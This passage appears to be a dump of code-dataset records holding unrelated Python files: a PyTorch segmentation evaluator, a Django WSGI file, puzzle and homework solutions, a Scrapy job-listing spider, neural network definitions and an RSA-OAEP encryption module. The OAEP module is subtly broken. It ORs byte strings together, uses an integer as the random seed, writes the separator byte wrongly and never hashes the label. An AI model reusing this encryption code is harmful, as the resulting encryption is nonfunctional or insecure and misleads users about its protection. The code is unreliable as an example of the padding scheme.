os\nsys.path.append(os.getcwd() + '/../../..')\nsys.path.append(os.getcwd() + '/../..')\nsys.path.append(os.getcwd() + '/..')\nfrom custom_collate import SegCollate\nfrom torch.utils.tensorboard import SummaryWriter\nfrom matplotlib import pyplot as plt\nfrom furnace.seg_opr.metric import hist_info, compute_score, compute_score_recall_precision\nfrom furnace.engine.evaluator import Evaluator\nfrom furnace.utils.pyt_utils import load_model\nfrom furnace.seg_opr.loss_opr import SigmoidFocalLoss, ProbOhemCrossEntropy2d, bce2d\nfrom furnace.engine.engine import Engine\nfrom furnace.engine.lr_policy import WarmUpPolyLR\nfrom furnace.utils.visualize import print_iou, show_img, print_pr\nfrom furnace.utils.init_func import init_weight, group_weight\nfrom furnace.utils.img_utils import generate_random_uns_crop_pos\nimport random\nimport cv2\nimport pandas as pd\nfrom network import Network\nfrom dataloader_depth_concat import CityScape as CityScape_All\nfrom dataloader_depth_concat import TrainValPre as TrainValPre_All\nfrom dataloader_all import CityScape, TrainValPre\nfrom network_depth_concat import NetworkFullResnet\nfrom config import config\nfrom matplotlib import colors\nfrom PIL import Image\nfrom torch.utils import data\nimport torch.backends.cudnn as cudnn\nimport torch.nn.functional as F\nimport torch.nn as nn\nfrom torch.nn import Parameter\nimport torchvision.utils\nimport torch\nimport numpy as np\nfrom datetime import datetime as dt\nfrom tqdm import tqdm\nimport argparse\nimport math\nimport time\nimport uuid\nimport os\n\nimage_layer_tuple = (\n \"branch1.backbone\",\n \"branch1.head.reduce\",\n \"branch1.head.aspp.map_convs\",\n \"branch1.head.aspp.pool_u2pl\",\n \"branch1.head.aspp.red_conv\",\n \"branch2.backbone\",\n \"branch2.head.reduce\",\n \"branch2.head.aspp.map_convs\",\n \"branch2.head.aspp.pool_u2pl\",\n \"branch2.head.aspp.red_conv\",\n)\n\ndepth_layer_tuple = (\n \"branch1.depth_backbone\",\n \"branch1.head.depth_reduce\",\n # \"branch1.head.last_conv\",\n \"branch1.head.aspp.depth_map_convs\",\n \"branch1.head.aspp.pool_depth\",\n \"branch1.head.aspp.depth_red_conv\",\n \"branch1.classifier\", #may need removal\n \"branch2.depth_backbone\",\n \"branch2.head.depth_reduce\",\n # \"branch2.head.last_conv\",\n \"branch2.head.aspp.depth_map_convs\",\n \"branch2.head.aspp.pool_depth\",\n \"branch2.head.aspp.depth_red_conv\",\n \"branch2.classifier\", #may need removal\n)\n\ndef compute_metric(results):\n hist = np.zeros((config.num_classes, config.num_classes))\n correct = 0\n labeled = 0\n count = 0\n for d in results:\n hist += d['hist']\n correct += d['correct']\n labeled += d['labeled']\n count += 1\n\n p, mean_p, r, mean_r, mean_p_no_back, mean_r_no_back = compute_score_recall_precision(hist, correct, labeled)\n iu, mean_IU, _, mean_pixel_acc = compute_score(hist, correct,\n labeled)\n # changed from the variable dataset to the class directly so this function\n # can now be called without first initialising the eval file\n\n return iu, mean_IU, _, mean_pixel_acc, p, mean_p, r, mean_r, mean_p_no_back, mean_r_no_back\n\ndef viz_image(imgs, gts, pred, step, epoch, name, logger, step_test=None):\n image_viz = (imgs[0,\n :3,\n :,\n :].squeeze().cpu().numpy() * np.expand_dims(np.expand_dims(config.image_std,\n axis=1),\n axis=2) + np.expand_dims(np.expand_dims(config.image_mean,\n axis=1),\n axis=2)) * 255.0\n image_viz = image_viz.transpose(1, 2, 0)\n depth_image = imgs[0, 3:, :, :].squeeze().cpu(\n ).numpy() * config.dimage_std + config.dimage_mean\n label = np.asarray(gts[0, :, :].squeeze().cpu(), dtype=np.uint8)\n clean = np.zeros(label.shape)\n pred_viz = torch.argmax(pred[0, :, :, :], dim=0).cpu()\n pred_viz = np.array(pred_viz, np.uint8)\n comp_img = show_img(CityScape.get_class_colors(), config.background, image_viz, clean, # image size is 720 x 2190 x 3\n label, pred_viz)\n # logger needs the RGB dimension as the first one\n comp_img = comp_img.transpose(2, 0, 1)\n if step_test is None:\n logger.add_image(\n f'Training/Epoch_{epoch}/Image_Pred_GT_{step}_{name}',\n comp_img,\n step)\n else:\n logger.add_image(\n f'Val/Epoch_{epoch}/Val_Step_{step/config.validate_every}/Image_Pred_GT_{step_test}_{name}',\n comp_img,\n step)\n\ndepth_path = os.path.join(config.tb_dir, 'depth' + str(config.depth_checkpoint_path.split('/')[-2]))\nsemi_path = os.path.join(config.tb_dir, 'images' + str(config.semi_checkpoint_path.split('/')[-2]))\n\ntb_dir = config.tb_dir\ndepth_logger = SummaryWriter(\n log_dir= depth_path\n )\nimage_logger = SummaryWriter(\n log_dir= semi_path\n )\n\nparser = argparse.ArgumentParser()\nos.environ['MASTER_PORT'] = '169711'\n\nwith Engine(custom_parser=parser) as engine:\n args = parser.parse_args()\n\n cudnn.benchmark = True # Changed to False due to error\n\n data_setting = {'img_root': config.img_root_folder,\n 'gt_root': config.gt_root_folder,\n 'train_source': config.train_source,\n 'eval_source': config.eval_source}\n\n pixel_num = 500 * config.batch_size // engine.world_size\n criterion = ProbOhemCrossEntropy2d(ignore_label=config.ignore_label, thresh=0.7, min_kept=pixel_num, use_weight=False) # NUMBER CHANGED TO 5000 from 50000 due to reduction in number of labels since only road labels valid\n \n\n model_semi = Network(config.num_classes, criterion=criterion, # change number of classes to free space only\n pretrained_model=config.pretrained_model,\n norm_layer=nn.BatchNorm2d) # need to change norm_layer to nn.BatchNorm2d since BatchNorm2d is derived from the furnace package and doesn't seem to work, it's only needed for syncing batches across multiple GPU, may be needed later\n\n\n trainval_pre = TrainValPre(config.image_mean, config.image_std)\n test_dataset = CityScape(data_setting, 'trainval', trainval_pre)\n\n test_loader = data.DataLoader(test_dataset,\n batch_size=1,\n num_workers=config.num_workers,\n drop_last=True,\n shuffle=True,\n pin_memory=True,\n sampler=None)\n\n \n model_depth = NetworkFullResnet(config.num_classes, criterion=criterion, # change number of classes to free space only\n pretrained_model=config.pretrained_model,\n norm_layer=nn.BatchNorm2d,\n full_depth_resnet=True,\n depth_only=config.depth_only) \n\n trainval_pre_all = TrainValPre_All(config.image_mean, config.image_std, config.dimage_mean, config.dimage_std)\n test_dataset_all = CityScape_All(data_setting, 'trainval', trainval_pre_all)\n\n test_loader_all = data.DataLoader(test_dataset_all,\n batch_size=1,\n num_workers=config.num_workers,\n drop_last=True,\n shuffle=True,\n pin_memory=True,\n sampler=None)\n \n #Loading depth model\n depth_state_dict = torch.load(config.depth_checkpoint_path) #Change\n own_state = model_depth.state_dict()\n print(own_state['branch1.classifier.bias'].data, depth_state_dict['model']['branch1.classifier.bias'].data)\n for name, param in depth_state_dict['model'].items():\n #if (name in own_state):#('branch1.head.depth') or name.startswith('branch2.head.last_conv'):\n param = param.data\n own_state[name].copy_(param)\n # image_layers_loaded.append(name)\n #else:\n # continue\n\n print('Checkpoint loaded for Depth Model: ', config.depth_checkpoint_path)\n\n #Loading image model\n\n print('Loading: ', config.semi_checkpoint_path)\n semi_state_dict = torch.load(config.semi_checkpoint_path) #Change\n own_state = model_semi.state_dict()\n print(own_state['branch1.classifier.bias'].data, semi_state_dict['model']['branch1.classifier.bias'].data)\n for name, param in semi_state_dict['model'].items():\n #if (name in own_state):#('branch1.head.depth') or name.startswith('branch2.head.last_conv'):\n param = param.data\n own_state[name].copy_(param)\n #else:\n # continue\n\n print('Checkpoint loaded for Image Model: ', config.semi_checkpoint_path)\n\n device = torch.device(\"cuda\") #Change\n\n model_depth.to(device)\n\n model_depth.eval()\n\n all_results_depth = []\n\n results_dict_export_depth = {'frame': ['road', 'sidewalk', 'building', 'wall', 'fence', 'pole',\n 'traffic light', 'traffic sign',\n 'vegetation', 'terrain', 'sky', 'person', 'rider', 'car',\n 'truck', 'bus', 'train', 'motorcycle', 'bicycle', 'mIoU', 'mean_accuracy', 'mean_p', 'mean_r', 'loss']}\n\n #depth evaluation\n with torch.no_grad():\n\n for batch_test in tqdm(\n test_loader_all,\n desc=f\"Loop: Validation\",\n total=len(test_loader_all)):\n\n imgs_test = batch_test['data'].to(device)\n gts_test = batch_test['label'].to(device)\n\n pred_test, _, v3_feats = model_depth.branch1(imgs_test)\n\n loss_sup_test = criterion(pred_test, gts_test)\n pred_test_max = torch.argmax(pred_test[0, :, :, :], dim=0).long().cpu().numpy() \n\n hist_tmp, labeled_tmp, correct_tmp = hist_info(\n config.num_classes, pred_test_max, gts_test[0, :, :].cpu().numpy())\n\n results_dict = {\n 'hist': hist_tmp,\n 'labeled': labeled_tmp,\n 'correct': correct_tmp}\n all_results_depth.append(results_dict)\n\n viz_image(\n imgs_test,\n gts_test,\n pred_test,\n 0,\n 0,\n batch_test['fn'][0],\n depth_logger,\n 0)\n\n iu, mean_IU, _, mean_pixel_acc, p, mean_p, r, mean_r, mean_p_no_back, mean_r_no_back = compute_metric(all_results_depth)\n\n all_results_depth = []\n\n frame_name = batch_test['fn'][0]\n results_dict_export_depth[frame_name] = [iu[0], iu[1], iu[2], iu[3], iu[4], iu[5], iu[6], iu[7], iu[8], iu[9], iu[10], iu[11], iu[12], iu[13], iu[14], iu[15], iu[16], iu[17], iu[18], mean_IU, mean_pixel_acc, mean_p, mean_r, loss_sup_test]\n\n model_depth.cpu()\n\n depth = pd.DataFrame.from_dict(results_dict_export_depth, orient='index')\n\n depth.to_csv(depth_path + 'results.csv')\n\n del model_depth\n\n model_semi.to(device)\n\n model_semi.eval()\n\n all_results_semi = []\n\n results_dict_export_semi = {'frame': \n ['road', 'sidewalk', 'building', 'wall', 'fence', 'pole',\n 'traffic light', 'traffic sign',\n 'vegetation', 'terrain', 'sky', 'person', 'rider', 'car',\n 'truck', 'bus', 'train', 'motorcycle', 'bicycle', 'mIoU', \n 'mean_accuracy', 'mean_p', 'mean_r', 'loss']}\n\n #semi evaluation\n with torch.no_grad():\n\n for batch_test in tqdm(\n test_loader,\n desc=f\"Loop: Validation\",\n total=len(test_loader)):\n\n imgs_test = batch_test['data'].to(device)\n gts_test = batch_test['label'].to(device)\n\n pred_test, _, v3_feats = model_semi.branch1(imgs_test)\n\n loss_sup_test = criterion(pred_test, gts_test)\n pred_test_max = torch.argmax(pred_test[0, :, :, :], dim=0).long().cpu().numpy() \n\n hist_tmp, labeled_tmp, correct_tmp = hist_info(\n config.num_classes, pred_test_max, gts_test[0, :, :].cpu().numpy())\n\n results_dict = {\n 'hist': hist_tmp,\n 'labeled': labeled_tmp,\n 'correct': correct_tmp}\n all_results_semi.append(results_dict)\n\n viz_image(\n imgs_test,\n gts_test,\n pred_test,\n 0,\n 0,\n batch_test['fn'][0],\n image_logger,\n 0)\n\n iu, mean_IU, _, mean_pixel_acc, p, mean_p, r, mean_r, mean_p_no_back, mean_r_no_back = compute_metric(all_results_semi)\n\n all_results_semi = []\n\n frame_name = batch_test['fn'][0]\n results_dict_export_semi[frame_name] = [iu[0], iu[1], iu[2], iu[3], iu[4], iu[5], iu[6], iu[7], iu[8], iu[9], iu[10], iu[11], iu[12], iu[13], iu[14], iu[15], iu[16], iu[17], iu[18], mean_IU, mean_pixel_acc, mean_p, mean_r, loss_sup_test]\n\n semi = pd.DataFrame.from_dict(results_dict_export_semi, orient='index')\n\n semi.to_csv(semi_path + 'results.csv')\n\n","repo_name":"alimtaha/SS_FSD_New","sub_path":"CPS/TorchSemiSeg/exp_city/city8_res50v3_CPS_CutMix/eval_pics/thesis_pics.py","file_name":"thesis_pics.py","file_ext":"py","file_size_in_byte":13360,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"73184075628","text":"import os\nimport sys\n\npath = '/srv/www'\nif path not in sys.path:\n sys.path.insert(0, path)\nmailshare_path = '/srv/www/mailshare'\nif mailshare_path not in sys.path:\n sys.path.insert(0, mailshare_path)\n\nos.environ['DJANGO_SETTINGS_MODULE'] = 'mailshare.settings'\n\nimport django.core.handlers.wsgi\napplication = django.core.handlers.wsgi.WSGIHandler()\n\n","repo_name":"RobFisher/mailshare","sub_path":"apache/mailshare.wsgi","file_name":"mailshare.wsgi","file_ext":"wsgi","file_size_in_byte":356,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"42285980432","text":"# %%\n\nimport pathlib\n\n\ndef parse(path):\n with open(path, mode=\"r\", encoding=\"utf-8\") as fid:\n puzzle_input = [line.strip() for line in fid]\n return puzzle_input\n\n\npath = pathlib.Path.cwd() / \"input.txt\"\ndata = parse(path)\ndata = [line.split(\" -> \") for line in data]\n\n\ndef get_all_points_between_two(t1, t2):\n x1, y1 = t1\n x2, y2 = t2\n lst = []\n if x1 == x2:\n for i in range(min([y1, y2]), max([y1, y2]) + 1):\n lst.append((x1, i))\n else:\n for i in range(min([x1, x2]), max([x1, x2]) + 1):\n lst.append((i, y1))\n return lst\n\n\ngrid = [[], []]\nrocks = set()\nfor line in data:\n coor = [eval(z) for z in line]\n t1 = coor[0]\n for t2 in coor[1:]:\n rocks.update(set(get_all_points_between_two(t1, t2)))\n t1 = t2\n\nbottom = 0\nfor _, y in rocks:\n bottom = max(bottom, y)\n\nfor y in range(10):\n row = []\n for x in range(494, 504):\n if tuple([x, y]) in rocks:\n row.append(\"#\")\n else:\n row.append(\".\")\n print(\"\".join(row))\n\n\nsand = set()\nbusy = rocks.copy()\ni = 0\nwhile i < 20000: # add sand\n i += 1\n x, y = 500, 0\n busy.update(sand)\n for _ in range(bottom):\n print(tuple([x, y]))\n if tuple([x, y + 1]) not in busy:\n print(\"move down\")\n y += 1\n elif tuple([x - 1, y + 1]) not in busy:\n print(\"move left\")\n x -= 1\n y += 1\n elif tuple([x + 1, y + 1]) not in busy:\n print(\"move right\")\n x += 1\n y += 1\n else:\n print(f\"sand stopped at {tuple([x, y])}\")\n sand.update({(x, y)})\n break # sand found a stable position\n else:\n print(\"sand reached the bottom\") # sand did not found a stable position\n break # end of while\nprint(len(sand))\n\n\nprint(\"END Part 1\")\n\n# %%\n\nbusy = rocks.copy()\ni = 0\nstop = False\n\nwhile not stop: # add sand\n i += 1\n x, y = 500, 0\n for v in range(bottom + 2):\n # print(tuple([x, y]), v)\n if v > bottom:\n print(f\"sand stopped at {tuple([x, y])} on the floor\")\n busy.update({(x, y)})\n break\n elif tuple([x, y + 1]) not in busy:\n # print('move down')\n y += 1\n elif tuple([x - 1, y + 1]) not in busy:\n # print('move left')\n x -= 1\n y += 1\n elif tuple([x + 1, y + 1]) not in busy:\n # print('move right')\n x += 1\n y += 1\n else:\n print(f\"sand stopped at {tuple([x, y])}\")\n if (x, y) == (500, 0):\n stop = True\n busy.update({(x, y)})\n break # sand found a stable position\n\n if i > 100000:\n break\nprint(len(busy) - len(rocks))\n\n\nprint(\"END Part 2\")\n# %%\n","repo_name":"RomainBdt/Advent-of-code","sub_path":"2022/day_14/main_day14.py","file_name":"main_day14.py","file_ext":"py","file_size_in_byte":2815,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"25762983550","text":"# Carl Kakisis\n# allSumKDigits hw4_3\n# Due Date: 2/28/22\n\n# initializing allSumKDigits\ndef allSumKDigits(num):\n # initializing global variables\n sumArr = []\n sum = 0\n # putting the digits of the integer in an array\n x = [int(a) for a in str(num)]\n # setting bounds of next loop to sum\n counter = 0\n k = 1\n\n # looping through the array of digits and adding sum up\n # to the bound of k into sumArr\n for i in x:\n if counter < k and k <= len(x):\n sum += i\n sumArr.append(sum)\n counter += 1\n k += 1\n\n return sumArr\n\n# calling the main function\ndef main():\n print(allSumKDigits(12345))\n","repo_name":"Messinias1/playground","sub_path":"csc110/hw4_3.py","file_name":"hw4_3.py","file_ext":"py","file_size_in_byte":670,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"10897731573","text":"from argparse import ArgumentParser, Namespace\n\nimport jax.random as jrandom\n\nfrom slzero import crf, dataset\n\n\ndef main(args: Namespace) -> None:\n X_train, y_train = dataset.read_file(args.train)\n vocab_token = dataset.build_vocab(X_train, unk_token=\"unk\", max_size=args.vocab)\n vocab_label = dataset.build_vocab(y_train, unk_token=None, max_size=None)\n\n rng_key = jrandom.PRNGKey(args.seed)\n rng_key, sub_key = jrandom.split(rng_key, 2)\n initial_params = crf.init_params(sub_key, len(vocab_label), len(vocab_token))\n\n batch_stream = dataset.get_batch_stream(\n vocab_token,\n vocab_label,\n X_train,\n y_train,\n batch_size=args.batch,\n drop_last=True,\n )\n params = crf.train(\n initial_params,\n batch_stream,\n num_epochs=args.epoch,\n learning_rate=args.lr,\n )\n\n X_test, y_test = dataset.read_file(args.test)\n batch_stream = dataset.get_batch_stream(\n vocab_token, vocab_label, X_test, y_test, shuffle=False, batch_size=args.batch\n )\n accuracy = crf.evaluate(params, batch_stream)\n print(accuracy)\n\n\nif __name__ == \"__main__\":\n parser = ArgumentParser()\n parser.add_argument(\"--train\", type=str, required=True, help=\"Training file\")\n parser.add_argument(\"--test\", type=str, required=True, help=\"Test file\")\n parser.add_argument(\"--vocab\", type=int, default=5000, help=\"Vocabulary size\")\n parser.add_argument(\"--epoch\", type=int, default=75, help=\"Epochs\")\n parser.add_argument(\"--batch\", type=int, default=128, help=\"Batch size\")\n parser.add_argument(\"--lr\", type=float, default=0.01, help=\"Learning rate\")\n parser.add_argument(\"--seed\", type=int, default=0, help=\"Random seed\")\n args = parser.parse_args()\n main(args)\n","repo_name":"chakki-works/sequence-labeling-from-scratch","sub_path":"slzero/crf/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":1767,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"18662365461","text":"# -*- coding: utf-8 -*-\nimport scrapy\nfrom tencentSpider.items import TencentspiderItem\n\nclass TencentSpider(scrapy.Spider):\n # 爬虫的名称\n name = 'tencent'\n # 这里用来防止抓取数据时跳转到其他域名的网站\n allowed_domains = ['hr.tencent.com']\n \n # seed url种子URL\n start_urls = ['https://hr.tencent.com/position.php?keywords=python']\n\n # 每次获取response响应时会调用这个方法,\n #需要在这个地方精确的匹配信息\n def parse(self, response):\n for each in response.xpath(\"//tr[@class='even']|//tr[@class='odd']\"):\n item = TencentspiderItem()\n item['positionName'] = each.xpath('./td[1]/a/text()').extract()[0]\n item['positionLink'] = each.xpath('./td[1]/a/@href').extract()[0]\n item['positionType'] = each.xpath('./td[2]/text()').extract()[0]\n yield item #返回给pipelines process_item\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n","repo_name":"jiyabing/learning","sub_path":"开班笔记/python网络爬虫部分/day08/tencentSpider/tencentSpider/spiders/tencent.py","file_name":"tencent.py","file_ext":"py","file_size_in_byte":1136,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"21780686191","text":"import torch\nimport torch.nn as nn\nfrom collections import OrderedDict\nimport torch.nn.functional as F\n\nclass ResidualBlock(nn.Module):\n def __init__(self, channel_num, dilation=1, group=1):\n super(ResidualBlock, self).__init__()\n self.conv1 = nn.Conv2d(channel_num, channel_num, 3, 1, padding=dilation, dilation=dilation, groups=group, bias=False)\n self.norm1 = nn.InstanceNorm2d(channel_num, affine=True)\n self.conv2 = nn.Conv2d(channel_num, channel_num, 3, 1, padding=dilation, dilation=dilation, groups=group, bias=False)\n self.norm2 = nn.InstanceNorm2d(channel_num, affine=True)\n\n def forward(self, x):\n y = F.relu(self.norm1(self.conv1(x)))\n y = self.norm2(self.conv2(y))\n return F.relu(x+y)\n\nclass YoloBody(nn.Module):\n def __init__(self, config):\n super(YoloBody, self).__init__()\n self.config = config\n\n #-------LFNetv2-------------#\n\n self.conv1 = nn.Conv2d(3, 64, 3, 2, 1, bias=False)\n self.norm1 = nn.InstanceNorm2d(64, affine=True)\n self.res1 = ResidualBlock(64)\n\n self.conv2 = nn.Conv2d(64, 128, 3, 2, 1, bias=False)\n self.norm2 = nn.InstanceNorm2d(128, affine=True)\n self.res2 = ResidualBlock(128)\n\n self.conv3 = nn.Conv2d(128, 256, 3, 2, 1, bias=False)\n self.norm3 = nn.InstanceNorm2d(256, affine=True)\n self.res3 = ResidualBlock(256)\n\n self.conv4 = nn.Conv2d(256, 256, 3, 2, 1, bias=False)\n self.norm4 = nn.InstanceNorm2d(256, affine=True)\n self.res4 = ResidualBlock(256)\n\n self.conv5 = nn.Conv2d(256, 256, 3, 2, 1, bias=False)\n self.norm5 = nn.InstanceNorm2d(256, affine=True)\n self.res5 = ResidualBlock(256)\n\n self.conv3_1 = nn.Conv2d(256, 7, 3, 1, 1, bias=False)\n self.conv3_2 = nn.Conv2d(256, 7, 3, 2, 1, bias=False)\n self.conv3_3 = nn.Conv2d(256, 7, 6, 4, 1, bias=False)\n\n self.conv4_1 = nn.ConvTranspose2d(256, 7, 2, 2, 0)\n self.conv4_2 = nn.Conv2d(256, 7, 3, 1, 1, bias=False)\n self.conv4_3 = nn.Conv2d(256, 7, 3, 2, 1, bias=False)\n\n self.conv5_1 = nn.ConvTranspose2d(256, 7, 4, 4, 0)\n self.conv5_2 = nn.ConvTranspose2d(256, 7, 2, 2, 0)\n self.conv5_3 = nn.Conv2d(256, 7, 3, 1, 1, bias=False)\n\n\n\n def forward(self, x):\n\n x1 = F.relu(self.norm1(self.conv1(x)))\n x1 = self.res1(x1)\n x1 = self.res1(x1)\n x1 = self.res1(x1)\n x1 = self.res1(x1)\n x1 = self.res1(x1)\n\n x2 = F.relu(self.norm2(self.conv2(x1)))\n x2 = self.res2(x2)\n x2 = self.res2(x2)\n x2 = self.res2(x2)\n x2 = self.res2(x2)\n x2 = self.res2(x2)\n\n x3 = F.relu(self.norm3(self.conv3(x2)))\n x3 = self.res3(x3)\n x3 = self.res3(x3)\n x3 = self.res3(x3)\n x3 = self.res3(x3)\n x3 = self.res3(x3)\n\n x4 = F.relu(self.norm4(self.conv4(x3)))\n x4 = self.res4(x4)\n x4 = self.res4(x4)\n x4 = self.res4(x4)\n x4 = self.res4(x4)\n x4 = self.res4(x4)\n\n x5 = F.relu(self.norm5(self.conv5(x4)))\n x5 = self.res5(x5)\n x5 = self.res5(x5)\n x5 = self.res5(x5)\n x5 = self.res5(x5)\n x5 = self.res5(x5)\n\n\n x3_1 = self.conv3_1(x3)\n x3_2 = self.conv3_2(x3)\n x3_3 = self.conv3_3(x3)\n\n x4_1 = self.conv4_1(x4)\n x4_2 = self.conv4_2(x4)\n x4_3 = self.conv4_3(x4)\n\n x5_1 = self.conv5_1(x5)\n x5_2 = self.conv5_2(x5)\n x5_3 = self.conv5_3(x5)\n\n\n out0 = torch.cat((x3_3, torch.cat((x4_3, x5_3), 1)), 1)\n out1 = torch.cat((x3_2, torch.cat((x4_2, x5_2), 1)), 1)\n out2 = torch.cat((x3_1, torch.cat((x4_1, x5_1), 1)), 1)\n return out0, out1, out2\n\n","repo_name":"CleanerWang/LFNet-v2","sub_path":"nets/LFNetv2.py","file_name":"LFNetv2.py","file_ext":"py","file_size_in_byte":3737,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"} +{"seq_id":"16125655117","text":"import random\n\nnamen =[]\nnamen2 = []\n\naantalmensen = int(input('Hoeveel mensen wilt u toevoegen? '))\nnamen + namen2\nfor y in range(aantalmensen):\n l = input('Wie wilt u toevoegen? ')\n namen.append(l)\n namen2.append(l)\n \ndef dubbleu():\n dub2 = 0\n print('=======================')\n for x in range(aantalmensen):\n print(namen[dub2],\"heeft\", namen2[dub2]) \n dub2+=1\n\ndef mix():\n random.shuffle(namen)\n random.shuffle(namen2)\n check()\n\ndub = 0\ndef check():\n global dub\n for x in range(aantalmensen):\n if namen[dub] == namen2[dub]:\n dub+=1\n mix()\n else:\n dubbleu()\n\nmix()\n","repo_name":"maxhofmanf/collectionstwo","sub_path":"kertlootjes.py","file_name":"kertlootjes.py","file_ext":"py","file_size_in_byte":656,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"15310999306","text":"from random import getrandbits\nimport hashlib\n\nHash = hashlib.new(\"sha256\")\nhlen = Hash.digest_size\n\ndef rsa_oaep_encrypt(plaintext, n, e, label=b''):\n mLen = len(plaintext)\n k = len(n.to_bytes((n.bit_length() + 7) // 8, byteorder='big'))\n\n if len(label) > hlen:\n raise ValueError(\"label too long\")\n \n if mLen > k - 2*hlen - 2:\n raise ValueError(\"Message too long\")\n\n if label == b'':\n label = b\"0xe3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\"\n\n PS = b'\\x00' * (k - mLen - 2 * hlen - 2)\n DB = bytes(hlen) | PS | b'\\0x01' | plaintext\n \n seed = getrandbits(hlen)\n db_mask = MGF(seed, k-hlen-1)\n maskedDB = bytes(a ^ b for a, b in zip(DB, db_mask))\n seedMask = MGF(maskedDB, hlen)\n maskedSeed = bytes(a ^ b for a, b in zip(seed, seedMask))\n\n return b'\\0x00' | maskedSeed | maskedDB\n\n\ndef MGF(seed, mask_len):\n mask = b\"\"\n iterations = (mask_len + hlen - 1) // hlen\n\n for counter in range(iterations):\n counter_bytes = counter.to_bytes(4, byteorder='big')\n data = seed + counter_bytes\n mask += hashlib.new(\"sha256\", data).digest()\n\n return mask[:mask_len]\n","repo_name":"Bl4omArchie/Pubcrypt","sub_path":"pubcrypt/scheme/oaep.py","file_name":"oaep.py","file_ext":"py","file_size_in_byte":1171,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"12076823232","text":"# cython: profile=True\n\nfrom __future__ import absolute_import, division\n\nfrom koala.CellBase import CellBase\nfrom koala.Range import RangeCore\nfrom koala.utils import *\n\nfrom openpyxl.compat import unicode\n\n\nclass Cell(CellBase):\n ctr = 0\n __named_range = None\n\n @classmethod\n def next_id(cls):\n cls.ctr += 1\n return cls.ctr\n\n def __init__(\n self, address,\n sheet=None, value=None, formula=None,\n is_range=False, is_named_range=False,\n should_eval='normal'):\n super(Cell, self).__init__()\n\n if not is_named_range:\n\n # remove $'s\n address = address.replace('$', '')\n\n sh, c, r = split_address(address)\n\n # both are empty\n if not sheet and not sh:\n raise Exception(\n \"Sheet name may not be empty for cell address %s\" %\n address)\n # both exist but disagree\n elif sh and sheet and sh != sheet:\n raise Exception(\n \"Sheet name mismatch for cell address %s: %s vs %s\" %\n (address, sheet, sh))\n elif not sh and sheet:\n sh = sheet\n else:\n pass\n\n # we assume a cell's location can never change\n self.__sheet = sheet.encode('utf-8') if sheet is not None else sheet\n\n self.__sheet = sh\n self.__col = c\n self.__row = int(r)\n self.__col_idx = col2num(c)\n\n else:\n self.__named_range = address\n self.__sheet = None\n self.__col = None\n self.__row = None\n self.__col_idx = None\n\n # `unicode` != `str` in Python2. See `from openpyxl.compat import unicode`\n if type(formula) == str and str != unicode:\n self.__formula = unicode(formula, 'utf-8') if formula else None\n else:\n self.__formula = formula if formula else None\n\n self.__value = value\n self.python_expression = None\n if (formula is not None) or is_range:\n self.need_update = True\n else:\n self.need_update = False\n self.should_eval = should_eval\n self.__compiled_expression = None\n self.__is_range = is_range\n\n self.is_range = self.__is_range\n self.is_named_range = self.__named_range is not None\n\n self.__absolute_address = (\n \"%s!%s%s\" % (self.__sheet, self.__col, self.__row))\n self.__address = \"%s%s\" % (self.__col, self.__row)\n\n # every cell has a unique id\n self.__id = Cell.next_id()\n\n @property\n def value(self):\n if self.__is_range:\n return self.__value.values\n else:\n return self.__value\n\n @value.setter\n def value(self, new_value):\n if self.__is_range:\n self.__value.values = new_value\n else:\n self.__value = new_value\n\n @property\n def range(self):\n if self.__is_range:\n return self.__value\n else:\n return None\n\n @range.setter\n def range(self, new_range):\n if self.__is_range:\n self.__value = new_range\n else:\n raise Exception(\n 'Setting a range as non-range Cell %s value' % self.address())\n\n @property\n def sheet(self):\n return self.__sheet\n\n @property\n def row(self):\n return self.__row\n\n @property\n def col(self):\n return self.__col\n\n @property\n def formula(self):\n return self.__formula\n\n @formula.setter\n def formula(self, new_formula):\n # maybe some kind of check is necessary\n self.__formula = new_formula\n\n @property\n def id(self):\n return self.__id\n\n @property\n def index(self):\n return self.__index\n\n @property\n def compiled_expression(self):\n return self.__compiled_expression\n\n @compiled_expression.setter\n def compiled_expression(self, ce):\n self.__compiled_expression = ce\n\n # code objects are not serializable\n def __getstate__(self):\n d = dict(self.__dict__)\n f = '__compiled_expression'\n if f in d:\n del d[f]\n return d\n\n def __setstate__(self, d):\n self.__dict__.update(d)\n self.compile()\n\n def clean_name(self):\n return self.address().replace('!', '_').replace(' ', '_')\n\n def address(self, absolute=True):\n if self.is_named_range:\n return self.__named_range\n elif absolute:\n return self.__absolute_address\n else:\n return self.__address\n\n def address_parts(self):\n return (self.__sheet, self.__col, self.__row, self.__col_idx)\n\n def compile(self):\n if not self.python_expression:\n return\n\n try:\n self.__compiled_expression = compile(\n self.python_expression, '', 'eval')\n except Exception as e:\n raise Exception(\n \"Failed to compile cell %s with expression %s: %s\\nFormula: %s\"\n % (self.address(), self.python_expression, e, self.formula))\n\n def __str__(self):\n return self.address()\n\n @staticmethod\n def inc_col_address(address, inc):\n sh, col, row = split_address(address)\n return \"%s!%s%s\" % (sh, num2col(col2num(col) + inc), row)\n\n @staticmethod\n def inc_row_address(address, inc):\n sh, col, row = split_address(address)\n return \"%s!%s%s\" % (sh, col, row + inc)\n\n @staticmethod\n def resolve_cell(excel, address, sheet=None):\n r = excel.get_range(address)\n f = r.Formula if r.Formula.startswith('=') else None\n v = r.Value\n\n sh, c, r = split_address(address)\n\n # use the sheet specified in the cell, else the passed sheet\n if sh:\n sheet = sh\n\n c = Cell(address, sheet, value=v, formula=f)\n return c\n\n @staticmethod\n def make_cells(excel, range, sheet=None):\n cells = []\n\n if is_range(range):\n # use the sheet specified in the range, else the passed sheet\n sh, start, end = split_range(range)\n 